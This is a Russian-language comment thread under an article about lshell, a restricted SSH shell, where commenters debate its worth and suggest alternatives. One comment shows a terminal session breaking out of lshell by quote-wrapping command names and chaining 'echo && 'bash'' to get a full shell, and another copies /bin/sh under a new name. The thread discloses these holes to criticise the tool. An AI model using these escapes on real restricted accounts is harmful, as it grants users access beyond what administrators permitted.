Pull to refresh

Comments 22

Выполнять свои программы при этом запрещается? Пользователи на это соглашаются?
allowed_cmd_path — каталоги, в которых пользователю разрешено запускать исполняемые файлы или свои программы.
Что ему помешает запустить из своей программы bash?
UFO just landed and posted this here
Lshell умеет залезать в сторонние программы?
Интересно было бы услышать как. Все, что я могу представить сложно и не надежно.
чёрт, промахнулся и проворонил время редактирования коммента:(
mv /bin/sh ~/cgi-bin/my_super_program
./my_super_program

Зачем нужен этот велосипед, неужели нельзя просто нормально настроить права доступа?
Единственный значительный недочет который я обнаружил

А ещё, насколько мне известно, он не умеет в WinSCP.

Лечится патчем, который почему-то никак не примут в апстрим. Если вдруг кто столкнётся, будет полезно, т.к. лично у меня не сразу получилось застравить WinSCP с ним работать
Насколько я помню, выполнение команд напрямую через команду ssh не затрагивает shell юзера. Скорей всего для ssh надо еще ограничить запуск команд только lshell-ом.
Да, извините сразу забыл указать это, уже поправил
затем достаточно добавить шел пользователю
user:x:502:502::/home/user:/usr/bin/lshell
Затрагивает, в таком случае коммагда запускается как "$SHELL -c command", чтобы проверить попробуйте установить в качестве shell /bin/false.
Что-то мне подсказывает что через ssh можно запускать и через shell и напрямую. Там, вроде-бы есть соответствующие параметры ssh.
через конфигурацию сервера — да, но на клиенте это была бы уязвимость.
Естественно, «обычного ftp не хватает», кто им кроме старперов и ньюфагов пользуется? Жутко бесят некоторые хостинги, которых нужно упрашивать дать доступ по ssh. Благо своё всё давно на выделенках, но иногда просят помочь чуваки с хостингами «скажите спасибо, что есть mysql».
Давным-давно на StackOverflow была реклама ObserveIT: эта вещь записывает SSH-сеансы и позволяет просмотреть, что там понаделали.
Очень удобно, рекомендую посмотреть livedemo на их сайте.

А вообще, у основных потребителей lshell мозга не хватит даже на то, чтобы почистить authorized_keys для рута 8).
Никогда не используйте этот мусор. Оно дырявое насковозь:

Решето и побег из курятника
vladislav@dt1:~$ getent passwd testuser
testuser:x:1002:1003:,,,:/home/testuser:/usr/bin/lshell
vladislav@dt1:~$ su - testuser
Пароль: 
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
testuser:~$ ?
cd  clear  echo  exit  help  history  ll  lpath  ls  lsudo
testuser:~$ ls
examples.desktop
testuser:~$ which bash
*** forbidden command: which
testuser:~$ ls'usb'
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 001 Device 006: ID 046d:c05a Logitech, Inc. M90/M100 Optical Mouse
Bus 001 Device 002: ID 046d:c31c Logitech, Inc. Keyboard K120
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
testuser:~$ echo && 'bash'

testuser@dt1:~$ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
testuser@dt1:~$ reboot --help
reboot [OPTIONS...] [ARG]

Reboot the system.

     --help      Show this help
     --halt      Halt the machine
  -p --poweroff  Switch off the machine
     --reboot    Reboot the machine
  -f --force     Force immediate halt/power-off/reboot
  -w --wtmp-only Don't halt/power-off/reboot, just write wtmp record
  -d --no-wtmp   Don't write wtmp record
     --no-wall   Don't send wall message before halt/power-off/reboot



Помимо очевидной проблемы с наивным кодом я усматриваю здесь ещё другую проблему. Группа Centos-admin рекомендует читателям и интегрируют клиентам такой дырявый шлак. Возникает большой вопрос насчёт их профессиональной пригодности.
https://github.com/ghantoos/lshell/issues/151

Больше, больше дыр. Автору стоило бы удалить это поделие и не позориться. Регексами синтаксис баша парсить, ну да, конечно.
Заводя баги в багтрэкере дебиана, я предлагал как раз такое решение: заменить пакет на симлинк в /usr/sbin/nologin
Да нормально все, просто надо запретить vi, echo, && и разрешить только самое необходимое типа chmod, chown ))

Пользователям для которых с таким заморачиваются больше и не нужно. Файлы они редактируют обычно через ftp (больше трэша!!). Хорошо если какой-нибудь git вообще используют.
Sign up to leave a comment.